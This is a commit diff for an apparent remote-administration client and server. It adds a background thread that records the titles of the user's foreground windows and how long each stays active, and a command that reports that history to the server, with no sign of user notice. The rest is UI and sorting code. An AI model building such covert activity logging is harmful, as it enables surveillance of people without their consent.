Compare commits
9
Commits
v1.3.8
..
43398e405e
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
43398e405e | ||
|
|
29929e48b2 | ||
|
|
d0bad75284 | ||
|
|
9d2e9ec8ca | ||
|
|
2d7f224a22 | ||
|
|
c8973282cb | ||
|
|
7bbc47a0ee | ||
|
|
eeacbe5d61 | ||
|
|
7c09e9dd8c |
No files matched your search
@@ -0,0 +1,126 @@
|
||||
// ActivityHistory.cpp: 客户端历史活动记录采集模块
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "ActivityHistory.h"
|
||||
#include "KernelManager.h" // ActivityWindow
|
||||
|
||||
ActivityHistory& ActivityHistory::Instance()
|
||||
{
|
||||
static ActivityHistory inst;
|
||||
return inst;
|
||||
}
|
||||
|
||||
void ActivityHistory::Start()
|
||||
{
|
||||
if (m_started.exchange(true))
|
||||
return;
|
||||
m_running = true;
|
||||
m_thread = std::thread(&ActivityHistory::Loop, this);
|
||||
}
|
||||
|
||||
void ActivityHistory::Stop()
|
||||
{
|
||||
m_running = false;
|
||||
if (m_thread.joinable())
|
||||
m_thread.join();
|
||||
}
|
||||
|
||||
std::string ActivityHistory::Dump() const
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(m_mutex);
|
||||
std::string out;
|
||||
// 当前进行中的窗口:若已持续达到阈值,作为最新一条返回
|
||||
if (!m_curTitle.empty() && m_curDwellSec >= ACTIVITY_MIN_DWELL_SEC)
|
||||
out += FormatRecord(m_curStartTime, m_curTitle, m_curDwellSec) + "\n";
|
||||
for (const auto& r : m_records)
|
||||
out += r + "\n";
|
||||
return out;
|
||||
}
|
||||
|
||||
void ActivityHistory::Loop()
|
||||
{
|
||||
// 空闲打断阈值:远大于 ACTIVITY_MIN_DWELL_SEC,避免“停在一个窗口上看几秒”被过早结账。
|
||||
const DWORD IDLE_THRESHOLD_MS = ACTIVITY_IDLE_BREAK_SEC * 1000;
|
||||
|
||||
ActivityWindow aw;
|
||||
HWND lastHwnd = NULL;
|
||||
std::string lastTitle;
|
||||
std::string startTime;
|
||||
int dwellSec = 0;
|
||||
|
||||
while (m_running) {
|
||||
// 取前台窗口句柄 + 标题;空闲/锁定/取不到标题时 hwnd==NULL 或 title 为空
|
||||
HWND hwnd = aw.GetActiveWindowHandle(IDLE_THRESHOLD_MS);
|
||||
std::string title = aw.GetActiveTitleOrEmpty(IDLE_THRESHOLD_MS);
|
||||
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(m_mutex);
|
||||
|
||||
if (hwnd == NULL || title.empty()) {
|
||||
// 空闲/锁定/无标题:结账上一个窗口
|
||||
if (lastHwnd != NULL && dwellSec >= ACTIVITY_MIN_DWELL_SEC)
|
||||
m_records.push_front(FormatRecord(startTime, lastTitle, dwellSec));
|
||||
lastHwnd = NULL;
|
||||
lastTitle.clear();
|
||||
dwellSec = 0;
|
||||
} else if (hwnd == lastHwnd) {
|
||||
// 同一窗口:即使标题动态变化也连续累计,标题取最新值
|
||||
++dwellSec;
|
||||
lastTitle = title;
|
||||
} else {
|
||||
// 窗口切换:结账上一个,开始累计新窗口
|
||||
if (lastHwnd != NULL && dwellSec >= ACTIVITY_MIN_DWELL_SEC)
|
||||
m_records.push_front(FormatRecord(startTime, lastTitle, dwellSec));
|
||||
lastHwnd = hwnd;
|
||||
lastTitle = title;
|
||||
startTime = NowStr();
|
||||
dwellSec = 1;
|
||||
}
|
||||
|
||||
while (m_records.size() > ACTIVITY_HISTORY_MAX)
|
||||
m_records.pop_back();
|
||||
|
||||
m_curTitle = lastTitle;
|
||||
m_curStartTime = startTime;
|
||||
m_curDwellSec = dwellSec;
|
||||
}
|
||||
|
||||
Sleep(1000);
|
||||
}
|
||||
}
|
||||
|
||||
std::string ActivityHistory::FormatRecord(const std::string& startTime, const std::string& title, int dwellSec)
|
||||
{
|
||||
// 标题里的换行会破坏“每行一条”,做最小清洗
|
||||
std::string t;
|
||||
t.reserve(title.size());
|
||||
for (char c : title) {
|
||||
if (c == '\r' || c == '\n') c = ' ';
|
||||
t += c;
|
||||
}
|
||||
return "[" + startTime + "] [" + t + "] " + FormatDuration(dwellSec);
|
||||
}
|
||||
|
||||
std::string ActivityHistory::FormatDuration(int sec)
|
||||
{
|
||||
if (sec < 0) sec = 0;
|
||||
if (sec < 60)
|
||||
return std::to_string(sec) + "s";
|
||||
if (sec < 3600) {
|
||||
int m = sec / 60, s = sec % 60;
|
||||
return s ? std::to_string(m) + "m" + std::to_string(s) + "s"
|
||||
: std::to_string(m) + "m";
|
||||
}
|
||||
int h = sec / 3600, m = (sec % 3600) / 60;
|
||||
return std::to_string(h) + "h" + std::to_string(m) + "m";
|
||||
}
|
||||
|
||||
std::string ActivityHistory::NowStr()
|
||||
{
|
||||
SYSTEMTIME st;
|
||||
GetLocalTime(&st);
|
||||
char buf[32];
|
||||
sprintf_s(buf, sizeof(buf), "%04d-%02d-%02d %02d:%02d:%02d",
|
||||
st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond);
|
||||
return buf;
|
||||
}
|
||||
@@ -0,0 +1,54 @@
|
||||
#pragma once
|
||||
#include <string>
|
||||
#include <deque>
|
||||
#include <mutex>
|
||||
#include <thread>
|
||||
#include <atomic>
|
||||
|
||||
// 历史活动记录:
|
||||
// 每条格式:[YYYY-MM-DD HH:MM:SS] [窗口标题] <时长>
|
||||
// 倒序存储(最新在前)。后台线程每 1 秒采样一次前台窗口。
|
||||
#define ACTIVITY_MIN_DWELL_SEC 5 // 一闪而过阈值(秒):驻留低于此值不记录
|
||||
#define ACTIVITY_IDLE_BREAK_SEC 300 // 空闲打断阈值(秒):空闲超过此值才结账当前窗口
|
||||
// 注意:与心跳“活动窗口”列的 6s 判定不同,这里要远大于 MIN_DWELL,
|
||||
// 否则“停在一个窗口上看 10 秒”会被 6s 空闲判定过早结账/漏记
|
||||
#define ACTIVITY_HISTORY_MAX 500 // 内存保留的最大记录条数
|
||||
|
||||
class ActivityHistory
|
||||
{
|
||||
public:
|
||||
static ActivityHistory& Instance();
|
||||
|
||||
// 启动常驻采样线程(幂等,重复调用无副作用)
|
||||
void Start();
|
||||
// 停止采样线程
|
||||
void Stop();
|
||||
|
||||
// 返回全部历史记录(最新在前,多行文本,每行一条)
|
||||
std::string Dump() const;
|
||||
|
||||
private:
|
||||
ActivityHistory() = default;
|
||||
~ActivityHistory() { Stop(); }
|
||||
ActivityHistory(const ActivityHistory&) = delete;
|
||||
ActivityHistory& operator=(const ActivityHistory&) = delete;
|
||||
|
||||
void Loop();
|
||||
|
||||
// 拼一条记录字符串
|
||||
static std::string FormatRecord(const std::string& startTime, const std::string& title, int dwellSec);
|
||||
// 时长格式化:Ns / Nm / NmNs / NhNm
|
||||
static std::string FormatDuration(int sec);
|
||||
// 当前时间戳 "YYYY-MM-DD HH:MM:SS"
|
||||
static std::string NowStr();
|
||||
|
||||
mutable std::mutex m_mutex;
|
||||
std::deque<std::string> m_records; // 已完成记录,最新在前
|
||||
std::string m_curTitle; // 当前进行中的窗口标题
|
||||
std::string m_curStartTime; // 当前窗口的起始时间
|
||||
int m_curDwellSec = 0; // 当前窗口已连续活跃秒数
|
||||
|
||||
std::atomic<bool> m_running{ false };
|
||||
std::atomic<bool> m_started{ false };
|
||||
std::thread m_thread;
|
||||
};
|
||||
@@ -3,6 +3,7 @@
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "ClientDll.h"
|
||||
#include "ActivityHistory.h"
|
||||
#include <common/iniFile.h>
|
||||
#include <common/LANChecker.h>
|
||||
#include <common/VerifyV2.h>
|
||||
@@ -588,6 +589,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
|
||||
std::string ip = settings.ServerIP();
|
||||
int port = settings.ServerPort();
|
||||
Mprintf("StartClient begin[%s:%d]\n", ip.c_str(), port);
|
||||
ActivityHistory::Instance().Start();
|
||||
if (!app.m_bShared) {
|
||||
auto now = time(0);
|
||||
valid_to = atof(cfg.GetStr("settings", "valid_to").c_str());
|
||||
|
||||
@@ -178,6 +178,7 @@
|
||||
<ClCompile Include="Audio.cpp" />
|
||||
<ClCompile Include="AudioManager.cpp" />
|
||||
<ClCompile Include="Buffer.cpp" />
|
||||
<ClCompile Include="ActivityHistory.cpp" />
|
||||
<ClCompile Include="CaptureVideo.cpp" />
|
||||
<ClCompile Include="clang_rt_compat.c" />
|
||||
<ClCompile Include="ClientDll.cpp" />
|
||||
@@ -225,6 +226,7 @@
|
||||
<ClInclude Include="..\common\zstd_wrapper.h" />
|
||||
<ClInclude Include="..\server\2015Remote\pwd_gen.h" />
|
||||
<ClInclude Include="Audio.h" />
|
||||
<ClInclude Include="ActivityHistory.h" />
|
||||
<ClInclude Include="AudioManager.h" />
|
||||
<ClInclude Include="Buffer.h" />
|
||||
<ClInclude Include="CaptureVideo.h" />
|
||||
|
||||
@@ -10,6 +10,7 @@
|
||||
#include <fstream>
|
||||
#include <corecrt_io.h>
|
||||
#include "ClientDll.h"
|
||||
#include "ActivityHistory.h"
|
||||
#include "MemoryModule.h"
|
||||
#include "common/dllRunner.h"
|
||||
#include "server/2015Remote/pwd_gen.h"
|
||||
@@ -822,6 +823,16 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopClientLogManager, &m_hThread[m_ulThreadCount], 0, NULL);
|
||||
break;
|
||||
}
|
||||
case COMMAND_QUERY_ACTIVITY: {
|
||||
// 主连接一次性快照:直接 dump 历史活动并回传
|
||||
std::string text = ActivityHistory::Instance().Dump();
|
||||
std::vector<BYTE> pkt(1 + text.size());
|
||||
pkt[0] = TOKEN_REPORT_ACTIVITY;
|
||||
if (!text.empty())
|
||||
memcpy(pkt.data() + 1, text.data(), text.size());
|
||||
m_ClientObject->Send2Server((char*)pkt.data(), (ULONG)pkt.size());
|
||||
break;
|
||||
}
|
||||
case CMD_SET_GROUP: {
|
||||
std::string group = std::string((char*)szBuffer + 1);
|
||||
m_cfg->SetStr("settings", "group_name", group);
|
||||
|
||||
@@ -40,6 +40,24 @@ public:
|
||||
return (!IsWorkstationLocked() ? "Inactive: " : "Locked: ") + FormatMilliseconds(idle);
|
||||
}
|
||||
|
||||
// 返回当前活跃窗口标题;若空闲(idle ≥ threshold_ms)或取不到标题则返回空串。
|
||||
// 供历史活动采集使用,避免“判定活跃”与“取标题”之间的竞态窗口。
|
||||
std::string GetActiveTitleOrEmpty(DWORD threshold_ms = 6000)
|
||||
{
|
||||
if (GetUserIdleTime() >= threshold_ms)
|
||||
return std::string();
|
||||
return GetActiveWindowTitle();
|
||||
}
|
||||
|
||||
// 返回当前前台窗口句柄;空闲(idle ≥ threshold_ms)返回 NULL。
|
||||
// 历史活动按窗口(HWND)而非标题字符串累计:标题动态变化时不会反复归零。
|
||||
HWND GetActiveWindowHandle(DWORD threshold_ms = 6000)
|
||||
{
|
||||
if (GetUserIdleTime() >= threshold_ms)
|
||||
return NULL;
|
||||
return GetForegroundWindow();
|
||||
}
|
||||
|
||||
private:
|
||||
std::string FormatMilliseconds(DWORD ms)
|
||||
{
|
||||
|
||||
@@ -185,6 +185,7 @@
|
||||
<ClCompile Include="..\common\ikcp.c" />
|
||||
<ClCompile Include="..\common\zstd_wrapper.c" />
|
||||
<ClCompile Include="..\server\2015Remote\pwd_gen.cpp" />
|
||||
<ClCompile Include="ActivityHistory.cpp" />
|
||||
<ClCompile Include="Audio.cpp" />
|
||||
<ClCompile Include="AudioManager.cpp" />
|
||||
<ClCompile Include="Buffer.cpp" />
|
||||
@@ -234,6 +235,7 @@
|
||||
<ClInclude Include="..\common\wallet.h" />
|
||||
<ClInclude Include="..\common\zstd_wrapper.h" />
|
||||
<ClInclude Include="..\server\2015Remote\pwd_gen.h" />
|
||||
<ClInclude Include="ActivityHistory.h" />
|
||||
<ClInclude Include="Audio.h" />
|
||||
<ClInclude Include="AudioManager.h" />
|
||||
<ClInclude Include="auto_start.h" />
|
||||
|
||||
@@ -317,6 +317,8 @@ enum {
|
||||
TOKEN_REPORT_LOG = 156,
|
||||
COMMAND_FORBIDDEN = 157,
|
||||
CMD_CUSTOM_CURSOR = 158,
|
||||
COMMAND_QUERY_ACTIVITY = 159, // 服务端 → 客户端:索取历史活动
|
||||
TOKEN_REPORT_ACTIVITY = 160, // 客户端 → 服务端:上报历史活动
|
||||
|
||||
TOKEN_DECRYPT = 199,
|
||||
TOKEN_REGEDIT = 200, // 注册表
|
||||
|
||||
Binary file not shown.
@@ -15,6 +15,7 @@
|
||||
#include "TerminalDlg.h"
|
||||
#include "SystemDlg.h"
|
||||
#include "CClientLog.h"
|
||||
#include "CActivityDialog.h"
|
||||
#include "BuildDlg.h"
|
||||
#include "AudioDlg.h"
|
||||
#include "RegisterDlg.h"
|
||||
@@ -148,10 +149,14 @@ COLUMNSTRUCT g_Column_Data_Online[g_Column_Count_Online] = {
|
||||
{"摄像头", 60 },
|
||||
{"RTT", 60 },
|
||||
{"版本", 90 },
|
||||
{"权限", 60 },
|
||||
{"安装时间", 130 },
|
||||
{"活动窗口", 130 },
|
||||
{"类型", 50 },
|
||||
{"", 0 },
|
||||
{"", 0 },
|
||||
{"", 0 },
|
||||
{"", 0 },
|
||||
{"权限", 60 },
|
||||
};
|
||||
|
||||
// 缩略图列号常量 + 列号→数据槽映射。负返回值代表"该列无数据槽"。
|
||||
@@ -648,6 +653,9 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogLangEx(CMy2015RemoteDl
|
||||
m_bmOnline[60].LoadBitmap(IDB_BITMAP_DEBUG);
|
||||
m_bmOnline[61].LoadBitmap(IDB_BITMAP_CLIENTLOG);
|
||||
m_bmOnline[62].LoadBitmap(IDB_BITMAP_FORBIDDEN);
|
||||
m_bmOnline[63].LoadBitmap(IDB_BITMAP_HISTORY_ACTIVITY); // 历史活动
|
||||
m_bmOnline[64].LoadBitmap(IDB_BITMAP_VIEW_WND); // 浏览窗口
|
||||
m_bmOnline[65].LoadBitmap(IDB_BITMAP_PROXY_AUTORUN); // 代理端口-自启
|
||||
for (int i = 0; i < PAYLOAD_MAXTYPE; i++) {
|
||||
m_ServerDLL[i] = nullptr;
|
||||
m_ServerBin[i] = nullptr;
|
||||
@@ -938,6 +946,9 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
|
||||
ON_COMMAND(ID_MSGLOG_COPY, &CMy2015RemoteDlg::OnMsglogCopy)
|
||||
ON_COMMAND(ID_MSGLOG_CLEAR, &CMy2015RemoteDlg::OnMsglogClear)
|
||||
ON_COMMAND(ID_MSGLOG_SEARCH, &CMy2015RemoteDlg::OnMsglogSearch)
|
||||
ON_COMMAND(ID_MSGLOG_LOGIN_NOTIFY, &CMy2015RemoteDlg::OnMsglogLoginNotify)
|
||||
ON_COMMAND(ID_MSGLOG_BAN_IP, &CMy2015RemoteDlg::OnMsglogBanIP)
|
||||
ON_COMMAND(ID_MSGLOG_UNBAN_IP, &CMy2015RemoteDlg::OnMsglogUnbanIP)
|
||||
ON_COMMAND(ID_ONLINE_ADD_WATCH, &CMy2015RemoteDlg::OnOnlineAddWatch)
|
||||
ON_COMMAND(ID_ONLINE_LOGIN_NOTIFY, &CMy2015RemoteDlg::OnOnlineLoginNotify)
|
||||
ON_NOTIFY(NM_CUSTOMDRAW, IDC_ONLINE, &CMy2015RemoteDlg::OnNMCustomdrawOnline)
|
||||
@@ -1010,6 +1021,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
|
||||
ON_COMMAND(ID_ONLINE_VIEW_WND, &CMy2015RemoteDlg::OnOnlineWindowManager)
|
||||
ON_COMMAND(ID_ENABLE_DEV_DEBUG, &CMy2015RemoteDlg::OnEnableDevDebug)
|
||||
ON_COMMAND(ID_ONLINE_CLIENT_LOG, &CMy2015RemoteDlg::OnOnlineClientLog)
|
||||
ON_COMMAND(ID_ONLINE_HISTORY_ACTIVITY, &CMy2015RemoteDlg::OnOnlineHistoryActivity)
|
||||
ON_COMMAND(ID_ONLINE_FORBIDDEN, &CMy2015RemoteDlg::OnOnlineForbidden)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
@@ -1412,6 +1424,13 @@ VOID CMy2015RemoteDlg::InitControl()
|
||||
g_Column_Online_Width+=g_Column_Data_Online[i].nWidth;
|
||||
}
|
||||
m_CList_Online.InitColumns();
|
||||
LoadSortPreference(); // 加载上次记忆的排序偏好
|
||||
// 隐藏空标题列(内部数据槽,不允许用户拖拽显示)
|
||||
for (int i = 0; i < g_Column_Count_Online; ++i) {
|
||||
if (g_Column_Data_Online[i].szTitle[0] == '\0') {
|
||||
m_CList_Online.SetColumnVisible(i, FALSE);
|
||||
}
|
||||
}
|
||||
// 让虚拟列表用 Unicode 通知(LVN_GETDISPINFOW),从而绕开 MBCS 工程里
|
||||
// 列表 → ANSI → CP_ACP 的回转,这样在德语/日语等非中文 ACP 服务端上也能显示中文。
|
||||
m_CList_Online.SendMessage(LVM_SETUNICODEFORMAT, TRUE, 0);
|
||||
@@ -1487,8 +1506,8 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName
|
||||
CString privilegeStr = privUser == "SYSTEM" ? "SYSTEM" : privAdmin == "1" ? "Admin" : "User";
|
||||
|
||||
CString data[ONLINELIST_MAX] = { strIP, strAddr, "", strPCName, strOS, strCPU, strVideo, strPing,
|
||||
verDisplay, privilegeStr, install, startTime, v[RES_CLIENT_TYPE].empty() ? "?" : v[RES_CLIENT_TYPE].c_str(), path,
|
||||
v[RES_CLIENT_PUBIP].empty() ? strIP : v[RES_CLIENT_PUBIP].c_str(), startTime, capStr,
|
||||
verDisplay, install, startTime, v[RES_CLIENT_TYPE].empty() ? "?" : v[RES_CLIENT_TYPE].c_str(), path,
|
||||
v[RES_CLIENT_PUBIP].empty() ? strIP : v[RES_CLIENT_PUBIP].c_str(), startTime, capStr, privilegeStr,
|
||||
};
|
||||
// 优先采用客户端自报的 ID(新客户端用 V2 算法 = MachineGuid + 归一化路径,
|
||||
// 比服务端按老算法 IP+PC+OS+CPU+PATH 重算更稳定)。
|
||||
@@ -3473,6 +3492,7 @@ void CMy2015RemoteDlg::OnTimer(UINT_PTR nIDEvent)
|
||||
|
||||
// 虚拟列表:重建过滤索引并更新项目计数
|
||||
if (hasListChange) {
|
||||
ApplySort(); // 有排序偏好时重排,让新上线主机落到排序位置
|
||||
RebuildFilteredIndices();
|
||||
m_CList_Online.SetItemCountExV((int)m_FilteredIndices.size(), LVSICF_NOINVALIDATEALL | LVSICF_NOSCROLL);
|
||||
}
|
||||
@@ -3867,8 +3887,6 @@ void CMy2015RemoteDlg::SortByColumn(int nColumn)
|
||||
// 缩略图列点击表头不参与排序 —— 没有可比较的数据维度,避免误触发
|
||||
if (ColumnToDataSlot(nColumn) < 0) return;
|
||||
|
||||
static int m_nSortColumn = 0;
|
||||
static bool m_bSortAscending = false;
|
||||
if (nColumn == m_nSortColumn) {
|
||||
// 如果点击的是同一列,切换排序顺序
|
||||
m_bSortAscending = !m_bSortAscending;
|
||||
@@ -3878,8 +3896,25 @@ void CMy2015RemoteDlg::SortByColumn(int nColumn)
|
||||
m_bSortAscending = true;
|
||||
}
|
||||
|
||||
// 虚拟列表:对数据源进行排序(列号映射到底层数据槽)
|
||||
EnterCriticalSection(&m_cs);
|
||||
ApplySort();
|
||||
RebuildFilteredIndices();
|
||||
LeaveCriticalSection(&m_cs);
|
||||
|
||||
// 刷新列表
|
||||
m_CList_Online.Invalidate();
|
||||
|
||||
SaveSortPreference();
|
||||
}
|
||||
|
||||
void CMy2015RemoteDlg::ApplySort()
|
||||
{
|
||||
// 无有效排序偏好或列不合法(缩略图/越界)时保持列表原始顺序
|
||||
if (m_nSortColumn <= COL_THUMBNAIL || m_nSortColumn >= g_Column_Count_Online) {
|
||||
return;
|
||||
}
|
||||
|
||||
// 虚拟列表:对数据源进行排序(列号映射到底层数据槽),调用方需持有 m_cs
|
||||
int slot = ColumnToDataSlot(m_nSortColumn);
|
||||
bool asc = m_bSortAscending;
|
||||
std::sort(m_HostList.begin(), m_HostList.end(),
|
||||
@@ -3890,19 +3925,38 @@ void CMy2015RemoteDlg::SortByColumn(int nColumn)
|
||||
return asc ? (result < 0) : (result > 0);
|
||||
});
|
||||
|
||||
// 重建索引映射
|
||||
// 排序后 clientID -> 索引映射已改变,需重建
|
||||
m_ClientIndex.clear();
|
||||
for (size_t i = 0; i < m_HostList.size(); ++i) {
|
||||
if (m_HostList[i]) {
|
||||
m_ClientIndex[m_HostList[i]->GetClientID()] = i;
|
||||
}
|
||||
}
|
||||
// 重建过滤索引
|
||||
RebuildFilteredIndices();
|
||||
LeaveCriticalSection(&m_cs);
|
||||
}
|
||||
|
||||
// 刷新列表
|
||||
m_CList_Online.Invalidate();
|
||||
void CMy2015RemoteDlg::LoadSortPreference()
|
||||
{
|
||||
std::string val = THIS_CFG.GetStr("list", "OnlineListSort", "");
|
||||
if (val.empty()) {
|
||||
m_nSortColumn = -1; // 无偏好:保持列表原始顺序
|
||||
m_bSortAscending = true;
|
||||
return;
|
||||
}
|
||||
|
||||
auto arr = StringToVector(val, ',');
|
||||
if (arr.size() >= 2) {
|
||||
m_nSortColumn = atoi(arr[0].c_str());
|
||||
m_bSortAscending = (atoi(arr[1].c_str()) != 0);
|
||||
} else {
|
||||
m_nSortColumn = -1;
|
||||
m_bSortAscending = true;
|
||||
}
|
||||
}
|
||||
|
||||
void CMy2015RemoteDlg::SaveSortPreference()
|
||||
{
|
||||
std::string val = std::to_string(m_nSortColumn) + "," + (m_bSortAscending ? "1" : "0");
|
||||
THIS_CFG.SetStr("list", "OnlineListSort", val);
|
||||
}
|
||||
|
||||
void CMy2015RemoteDlg::OnHdnItemclickList(NMHDR* pNMHDR, LRESULT* pResult)
|
||||
@@ -4109,6 +4163,8 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
|
||||
Menu.SetMenuItemBitmaps(ID_ONLINE_ACTIVE_WND, MF_BYCOMMAND, &m_bmOnline[59], &m_bmOnline[59]);
|
||||
Menu.SetMenuItemBitmaps(ID_ONLINE_CLIENT_LOG, MF_BYCOMMAND, &m_bmOnline[61], &m_bmOnline[61]);
|
||||
Menu.SetMenuItemBitmaps(ID_ONLINE_FORBIDDEN, MF_BYCOMMAND, &m_bmOnline[62], &m_bmOnline[62]);
|
||||
Menu.SetMenuItemBitmaps(ID_ONLINE_VIEW_WND, MF_BYCOMMAND, &m_bmOnline[64], &m_bmOnline[64]);
|
||||
Menu.SetMenuItemBitmaps(ID_PROXY_PORT_AUTORUN, MF_BYCOMMAND, &m_bmOnline[65], &m_bmOnline[65]);
|
||||
|
||||
Menu.ModifyMenuL(ID_ONLINE_AUTHORIZE, MF_BYCOMMAND | MF_STRING, ID_ONLINE_AUTHORIZE, _T("发送授权"));
|
||||
|
||||
@@ -4200,6 +4256,13 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
|
||||
}
|
||||
}
|
||||
|
||||
// 客户管理子菜单:新增“历史活动”
|
||||
CMenu* pClientMenu = FindSubMenuByCommand(SubMenu, ID_ONLINE_ASSIGN_TO);
|
||||
if (pClientMenu) {
|
||||
pClientMenu->InsertMenu(0, MF_BYPOSITION | MF_STRING, ID_ONLINE_HISTORY_ACTIVITY, _TR("历史活动"));
|
||||
pClientMenu->SetMenuItemBitmaps(ID_ONLINE_HISTORY_ACTIVITY, MF_BYCOMMAND, &m_bmOnline[63], &m_bmOnline[63]);
|
||||
}
|
||||
|
||||
// 创建一个新的子菜单
|
||||
CMenu newMenu;
|
||||
if (!newMenu.CreatePopupMenu()) {
|
||||
@@ -5308,6 +5371,16 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
||||
}
|
||||
break;
|
||||
}
|
||||
case TOKEN_REPORT_ACTIVITY: {
|
||||
// 一次性快照:直接打开“历史活动”对话框展示,不占用 hDlg(避免与运行日志对话框冲突)
|
||||
std::string text((char*)(szBuffer + 1), len > 1 ? len - 1 : 0);
|
||||
CActivityDialog* dlg = new CActivityDialog(this, ContextObject->GetServer(), ContextObject);
|
||||
dlg->Create(IDD_DIALOG_CLIENT_LOG, GetDesktopWindow());
|
||||
dlg->ShowWindow(SW_SHOW);
|
||||
if (!text.empty())
|
||||
dlg->AppendLog(text);
|
||||
break;
|
||||
}
|
||||
case TOKEN_CLIENT_MSG: {
|
||||
ClientMsg *msg =(ClientMsg*)ContextObject->InDeCompressedBuffer.GetBuffer(0);
|
||||
PostMessageA(WM_SHOWERRORMSG, (WPARAM)new CString(_L(msg->text)), (LPARAM)new CString(_L(msg->title)));
|
||||
@@ -9293,11 +9366,22 @@ void CMy2015RemoteDlg::OnRClickMessage(NMHDR* pNMHDR, LRESULT* pResult)
|
||||
menu.AppendMenu(MF_SEPARATOR);
|
||||
menu.AppendMenu(MF_STRING, ID_MSGLOG_SEARCH,
|
||||
m_bLogSearchVisible ? _TR("隐藏搜索") : _TR("搜索日志"));
|
||||
menu.AppendMenu(MF_SEPARATOR);
|
||||
menu.AppendMenu(MF_STRING, ID_MSGLOG_LOGIN_NOTIFY, _TR("上线提醒"));
|
||||
menu.AppendMenu(MF_STRING, ID_MSGLOG_BAN_IP, _TR("封禁IP"));
|
||||
menu.AppendMenu(MF_STRING, ID_MSGLOG_UNBAN_IP, _TR("解除封禁"));
|
||||
|
||||
// 没有选中项时禁用"删除选中"
|
||||
// 没有选中项时禁用"删除选中"、"复制选中"、"上线提醒"、"封禁IP"和"解除封禁"
|
||||
if (m_CList_Message.GetSelectedCount() == 0) {
|
||||
menu.EnableMenuItem(ID_MSGLOG_DELETE, MF_GRAYED);
|
||||
menu.EnableMenuItem(ID_MSGLOG_COPY, MF_GRAYED);
|
||||
menu.EnableMenuItem(ID_MSGLOG_LOGIN_NOTIFY, MF_GRAYED);
|
||||
menu.EnableMenuItem(ID_MSGLOG_BAN_IP, MF_GRAYED);
|
||||
menu.EnableMenuItem(ID_MSGLOG_UNBAN_IP, MF_GRAYED);
|
||||
}
|
||||
// PowerShell不可用时禁用"上线提醒"
|
||||
if (!GetNotifyManager().IsPowerShellAvailable()) {
|
||||
menu.EnableMenuItem(ID_MSGLOG_LOGIN_NOTIFY, MF_GRAYED);
|
||||
}
|
||||
// 列表为空时禁用"清空日志"
|
||||
if (m_CList_Message.GetItemCount() == 0) {
|
||||
@@ -9369,6 +9453,306 @@ void CMy2015RemoteDlg::OnMsglogSearch()
|
||||
OnSize(SIZE_RESTORED, rc.Width(), rc.Height());
|
||||
}
|
||||
|
||||
// Extract the first valid IPv4 address from a log message text.
|
||||
// Returns true and sets outIP if a valid IPv4 address is found.
|
||||
static bool ExtractFirstIPFromMessage(const CString& msg, CString& outIP)
|
||||
{
|
||||
// Scan the string for patterns like d.d.d.d and validate each segment
|
||||
int len = msg.GetLength();
|
||||
for (int i = 0; i < len; i++) {
|
||||
TCHAR ch = msg[i];
|
||||
// Look for start of a potential IP: digit
|
||||
if (ch >= _T('0') && ch <= _T('9')) {
|
||||
int segments[4] = { -1, -1, -1, -1 };
|
||||
int segIdx = 0;
|
||||
int numStart = i;
|
||||
|
||||
for (int j = i; j < len && segIdx < 4; j++) {
|
||||
TCHAR c = msg[j];
|
||||
if (c >= _T('0') && c <= _T('9')) {
|
||||
if (numStart < 0) numStart = j;
|
||||
} else if (c == _T('.')) {
|
||||
if (numStart < 0) break; // consecutive dots or leading dot
|
||||
// Parse the number
|
||||
CString numStr = msg.Mid(numStart, j - numStart);
|
||||
if (numStr.GetLength() > 3) break; // too many digits
|
||||
int val = _tstoi(numStr);
|
||||
if (val > 255) break;
|
||||
segments[segIdx] = val;
|
||||
segIdx++;
|
||||
numStart = -1;
|
||||
if (segIdx >= 4) break; // too many segments
|
||||
} else {
|
||||
break; // non-IP character
|
||||
}
|
||||
}
|
||||
|
||||
// Check if we have exactly 4 valid segments and the last char ends a number
|
||||
if (segIdx == 3 && numStart >= 0) {
|
||||
// Find where the number ends
|
||||
int numEnd = numStart;
|
||||
while (numEnd < len && msg[numEnd] >= _T('0') && msg[numEnd] <= _T('9'))
|
||||
numEnd++;
|
||||
CString numStr = msg.Mid(numStart, numEnd - numStart);
|
||||
if (numStr.GetLength() <= 3) {
|
||||
int val = _tstoi(numStr);
|
||||
if (val >= 0 && val <= 255) {
|
||||
segments[3] = val;
|
||||
// Success: build the IP string
|
||||
outIP.Format(_T("%d.%d.%d.%d"), segments[0], segments[1], segments[2], segments[3]);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
// Skip past the partial match to continue scanning
|
||||
// (the outer loop will increment i, which is fine)
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
void CMy2015RemoteDlg::OnMsglogLoginNotify()
|
||||
{
|
||||
// Get selected log messages and extract IP addresses from them
|
||||
std::vector<std::string> ipsToAdd;
|
||||
|
||||
POSITION pos = m_CList_Message.GetFirstSelectedItemPosition();
|
||||
while (pos) {
|
||||
int row = m_CList_Message.GetNextSelectedItem(pos);
|
||||
// Column 2 is the message content ("信息内容")
|
||||
CString msgText = m_CList_Message.GetItemText(row, 2);
|
||||
|
||||
CString extractedIP;
|
||||
if (ExtractFirstIPFromMessage(msgText, extractedIP)) {
|
||||
std::string ipUtf8 = CT2A(extractedIP, CP_UTF8);
|
||||
ipsToAdd.push_back(ipUtf8);
|
||||
}
|
||||
}
|
||||
|
||||
if (ipsToAdd.empty()) {
|
||||
MessageBoxL("所选日志消息中未检测到有效的 IP 地址", "提示", MB_ICONINFORMATION);
|
||||
return;
|
